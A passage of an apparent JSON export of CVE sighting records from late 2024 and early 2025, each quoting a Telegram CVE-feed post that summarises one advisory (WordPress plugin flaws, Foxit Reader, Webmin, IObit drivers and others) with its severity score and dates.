"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12659", "type": "seen", "source": "https://t.me/cvedetector/13027", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12659 - IObit Advanced SystemCare Utimate Null Pointer Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-12659 \nPublished : Dec. 16, 2024, 6:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in IObit Advanced SystemCare Utimate up to 17.0.0. It has been classified as problematic. Affected is the function 0x8001E004 in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:52:46.000000Z"}, {"uuid": "8a9438fb-6a43-472c-af9f-e3146ecb06d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12132", "type": "seen", "source": "https://t.me/cvedetector/14217", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12132 - Wordpress Job Portal - Insecure Direct Object Reference (IDOR) in WP Job Portal Plugin\", \n  \"Content\": \"CVE ID : CVE-2024-12132 \nPublished : Jan. 3, 2025, 9:15 a.m. | 42\u00a0minutes ago \nDescription : The WP Job Portal \u2013 A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.4 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create jobs for companies that are unaffiliated with the attacker. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-03T11:09:58.000000Z"}, {"uuid": "b55c938a-3241-48d6-9f4e-17aef2321861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12907", "type": "seen", "source": "https://t.me/cvedetector/14181", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12907 - Kentico CMS Reflected XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12907 \nPublished : Jan. 2, 2025, 4:15 p.m. | 17\u00a0minutes ago \nDescription : Kentico CMS in version 7 is vulnerable to a Reflected XSS attacks through manipulation of  a specific GET request parameter sent to\u00a0/CMSMessages/AccessDenied.aspx endpoint.  \nNotably, support for this version of Kentico ended in 2016. Version 8 was tested as well and does not contain this vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T17:36:36.000000Z"}, {"uuid": "ee94faf2-6ade-4ab6-9c6c-e28df6de716c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://t.me/cvedetector/14099", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12912 - ASUS Router AiCloud Arbitrary Command Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12912 \nPublished : Jan. 2, 2025, 9:15 a.m. | 33\u00a0minutes ago \nDescription : An improper input insertion vulnerability in AiCloud on certain router models may lead to arbitrary command execution.  \nRefer to the '01/02/2025 ASUS Router AiCloud vulnerability' section on the ASUS Security Advisory for more information. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T10:54:01.000000Z"}, {"uuid": "d7fc45c4-53f5-4837-a4e3-a8f12919059a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12595", "type": "seen", "source": "https://t.me/cvedetector/14094", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12595 - WordPress AHAthat Plugin Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12595 \nPublished : Jan. 2, 2025, 6:15 a.m. | 41\u00a0minutes ago \nDescription : The AHAthat Plugin WordPress plugin through 1.6 does not escape the $_SERVER['REQUEST_URI'] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T08:23:27.000000Z"}, {"uuid": "f7b80ac2-6bcd-4fe9-b224-d97999f177ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12601", "type": "seen", "source": "https://t.me/cvedetector/13085", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12601 - WordPress Calculated Fields Form CAPTCHA Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-12601 \nPublished : Dec. 17, 2024, 12:15 p.m. | 43\u00a0minutes ago \nDescription : The Calculated Fields Form plugin for WordPress is vulnerable to Denial of Service in all versions up to, and including, 5.2.63. This is due to unlimited height and width parameters for CAPTCHA images. This makes it possible for unauthenticated attackers to send multiple requests with large values, resulting in slowing server resources if the server does not mitigate Denial of Service attacks. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T14:16:00.000000Z"}, {"uuid": "b24f52ab-dbd8-4e10-bf44-f2700701aae0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12395", "type": "seen", "source": "https://t.me/cvedetector/13084", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12395 - WooCommerce Additional Fees On Checkout Cross-Site Scripting Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-12395 \nPublished : Dec. 17, 2024, 12:15 p.m. | 43\u00a0minutes ago \nDescription : The WooCommerce Additional Fees On Checkout (Free) plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018number\u2019 parameter in all versions up to, and including, 1.4.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T14:15:59.000000Z"}, {"uuid": "7a28c00f-abaf-4379-9b2c-f8d052144af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12660", "type": "seen", "source": "https://t.me/cvedetector/13028", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12660 - IObit Advanced SystemCare Utimate Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12660 \nPublished : Dec. 16, 2024, 6:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability was found in IObit Advanced SystemCare Utimate up to 17.0.0. It has been declared as problematic. Affected by this vulnerability is the function 0x8001E018 in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:52:47.000000Z"}, {"uuid": "db671ad6-34a7-4c01-95cd-cc5a2ac58e99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12839", "type": "seen", "source": "https://t.me/cvedetector/13968", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12839 - Changing Information Technology CGFIDO Session Hijacking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12839 \nPublished : Dec. 31, 2024, 2:15 a.m. | 24\u00a0minutes ago \nDescription : The login mechanism via device authentication of CGFIDO from Changing Information Technology has an Authentication Bypass vulnerability. If a user visits a forged website, the agent program deployed on their device will send an authentication signature to the website. An unauthenticated remote attacker who obtains this signature can use it to log into the system with any device. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T03:40:08.000000Z"}, {"uuid": "e5225b74-e627-4815-a715-142faaf29498", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12106", "type": "seen", "source": "https://t.me/cvedetector/14004", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12106 - SolarWinds WhatsUp Gold LDAP Configuration Remote Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12106 \nPublished : Dec. 31, 2024, 11:15 a.m. | 26\u00a0minutes ago \nDescription : In WhatsUp Gold versions released before 2024.0.2, an unauthenticated attacker can configure\u00a0LDAP settings. \nSeverity: 9.4 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T12:52:32.000000Z"}, {"uuid": "181f5cab-6394-461d-b067-c3e78e93c540", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12105", "type": "seen", "source": "https://t.me/cvedetector/14003", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12105 - \"WhatsUp Gold Information Disclosure Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12105 \nPublished : Dec. 31, 2024, 11:15 a.m. | 26\u00a0minutes ago \nDescription : In WhatsUp Gold versions released before 2024.0.2, an authenticated user can use a\u00a0specially crafted HTTP request that can lead to information disclosure. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T12:52:31.000000Z"}, {"uuid": "57c9597a-80ba-41b0-bedb-e76f9f8917bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12643", "type": "seen", "source": "https://t.me/cvedetector/12970", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12643 - Chunghwa Telecom TBM-Client CSRF Absolute Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12643 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : The tbm-client from Chunghwa Telecom has an Arbitrary File Delete vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection in the APIs, unauthenticated remote attackers could use these APIs through phishing. Additionally, one of the APIs contains an Absolute Path Traversal vulnerability, allowing attackers to delete arbitrary files on the user's system. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:50.000000Z"}, {"uuid": "79d048af-7814-4cfc-916d-e28cbfe25183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12642", "type": "seen", "source": "https://t.me/cvedetector/12969", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12642 - Chunghwa Telecom TenderDocTransfer CSRF Relative Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12642 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : TenderDocTransfer from Chunghwa Telecom has an Arbitrary File Write vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection for the APIs, unauthenticated remote attackers could use these APIs through phishing. Additionally, one of the APIs contains a Relative Path Traversal vulnerability, allowing attackers to write arbitrary files to any path on the user's system. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:50.000000Z"}, {"uuid": "2452c778-fe42-48b6-9820-a0e25028cfa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12664", "type": "seen", "source": "https://t.me/cvedetector/13034", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12664 - Ruifang-tech Rebuild Project Task Comment Handler Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12664 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in ruifang-tech Rebuild 3.8.5. This issue affects some unknown processing of the component Project Task Comment Handler. The manipulation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:07.000000Z"}, {"uuid": "b34b0b4f-9b25-4d9c-aa58-dfe187a91d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12661", "type": "seen", "source": "https://t.me/cvedetector/13031", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12661 - IObit Advanced SystemCare Utimate Local Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12661 \nPublished : Dec. 16, 2024, 7:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability was found in IObit Advanced SystemCare Utimate up to 17.0.0. It has been rated as problematic. Affected by this issue is the function 0x8001E024 in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. The attack needs to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T20:42:56.000000Z"}, {"uuid": "2dab0361-a135-4f35-a8f3-f4bb5e12f886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12663", "type": "seen", "source": "https://t.me/cvedetector/13030", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12663 - Funnyzpc Mee-Admin Login Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12663 \nPublished : Dec. 16, 2024, 7:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in funnyzpc Mee-Admin up to 1.6. This vulnerability affects unknown code of the file /mee/login of the component Login. The manipulation of the argument username leads to observable response discrepancy. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T20:42:55.000000Z"}, {"uuid": "60b61c85-18cc-4123-871a-9854ee5d9888", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12838", "type": "seen", "source": "https://t.me/cvedetector/13969", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12838 - \"CGFIDO Authentication Bypass Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12838 \nPublished : Dec. 31, 2024, 2:15 a.m. | 24\u00a0minutes ago \nDescription : The passwordless login mechanism in CGFIDO from Changing Information Technology has an Authentication Bypass vulnerability, allowing remote attackers with regular privileges to send a crafted request to switch to the identity of any user, including administrators. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T03:40:09.000000Z"}, {"uuid": "c8737fae-7f71-42d2-bce7-0fa98649bcd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12751", "type": "seen", "source": "https://t.me/cvedetector/13963", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12751 - Foxit PDF Reader AcroForm Buffer Overflow Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-12751 \nPublished : Dec. 30, 2024, 9:15 p.m. | 20\u00a0minutes ago \nDescription : Foxit PDF Reader AcroForm Out-Of-Bounds Read Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PDF Reader. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  \n  \nThe specific flaw exists within the handling of AcroForms. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25344. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T22:39:23.000000Z"}, {"uuid": "6090715c-b782-49cf-8dc0-f6a2b388d384", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12753", "type": "seen", "source": "https://t.me/cvedetector/13958", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12753 - Foxit PDF Reader Link Following Local Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12753 \nPublished : Dec. 30, 2024, 9:15 p.m. | 20\u00a0minutes ago \nDescription : Foxit PDF Reader Link Following Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Foxit PDF Reader. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.  \n  \nThe specific flaw exists within the product installer. By creating a junction, an attacker can abuse the installer process to create an arbitrary file. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-25408. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T22:39:16.000000Z"}, {"uuid": "566adad1-cad5-4a43-808f-0dace20f8602", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12752", "type": "seen", "source": "https://t.me/cvedetector/13957", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12752 - Foxit PDF Reader AcroForm Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12752 \nPublished : Dec. 30, 2024, 9:15 p.m. | 20\u00a0minutes ago \nDescription : Foxit PDF Reader AcroForm Memory Corruption Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit PDF Reader. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  \n  \nThe specific flaw exists within the handling of AcroForms. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-25345. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T22:39:15.000000Z"}, {"uuid": "45d52dc8-f065-4a70-bb96-1950a347b85e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12834", "type": "seen", "source": "https://t.me/cvedetector/13946", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12834 - Delta Electronics DRASimuCAD STP File Parsing Type Confusion Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12834 \nPublished : Dec. 30, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : Delta Electronics DRASimuCAD STP File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics DRASimuCAD. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  \n  \nThe specific flaw exists within the parsing of STP files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-22414. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T19:18:40.000000Z"}, {"uuid": "1347fb33-20de-4af1-9b34-c1ec22cb465e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://t.me/cvedetector/13945", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12828 - Webmin CGI Command Injection Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12828 \nPublished : Dec. 30, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : Webmin CGI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Webmin. Authentication is required to exploit this vulnerability.   \n  \nThe specific flaw exists within the handling of CGI requests. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Was ZDI-CAN-22346. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T19:18:39.000000Z"}, {"uuid": "00a7217e-56d6-47ae-9121-0c348338fdcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12293", "type": "seen", "source": "https://t.me/cvedetector/13077", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12293 - WordPress User Role Editor CSRF Vuln\", \n  \"Content\": \"CVE ID : CVE-2024-12293 \nPublished : Dec. 17, 2024, 9:15 a.m. | 33\u00a0minutes ago \nDescription : The User Role Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 4.64.3. This is due to missing or incorrect nonce validation on the update_roles() function. This makes it possible for unauthenticated attackers to add or remove roles for arbitrary users, including escalating their privileges to administrator, via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T10:55:41.000000Z"}, {"uuid": "2e0f2fa3-a789-4c6b-857c-3deae8e670ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12219", "type": "seen", "source": "https://t.me/cvedetector/13075", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12219 - WordPress Stop Registration Spam CSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12219 \nPublished : Dec. 17, 2024, 8:15 a.m. | 43\u00a0minutes ago \nDescription : The Stop Registration Spam plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.23. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T10:05:37.000000Z"}, {"uuid": "bf2a361d-8997-4a1b-a509-2d3f449985b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12220", "type": "seen", "source": "https://t.me/cvedetector/13074", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12220 - \"WooCommerce SMS CSRF\"\", \n  \"Content\": \"CVE ID : CVE-2024-12220 \nPublished : Dec. 17, 2024, 8:15 a.m. | 43\u00a0minutes ago \nDescription : The SMS for WooCommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.8.1. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T10:05:36.000000Z"}, {"uuid": "8819d948-47c0-4ed8-b760-07453311e4fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12658", "type": "seen", "source": "https://t.me/cvedetector/13026", "content": "{\n  \"Source\": \"CVE FEED\",\n  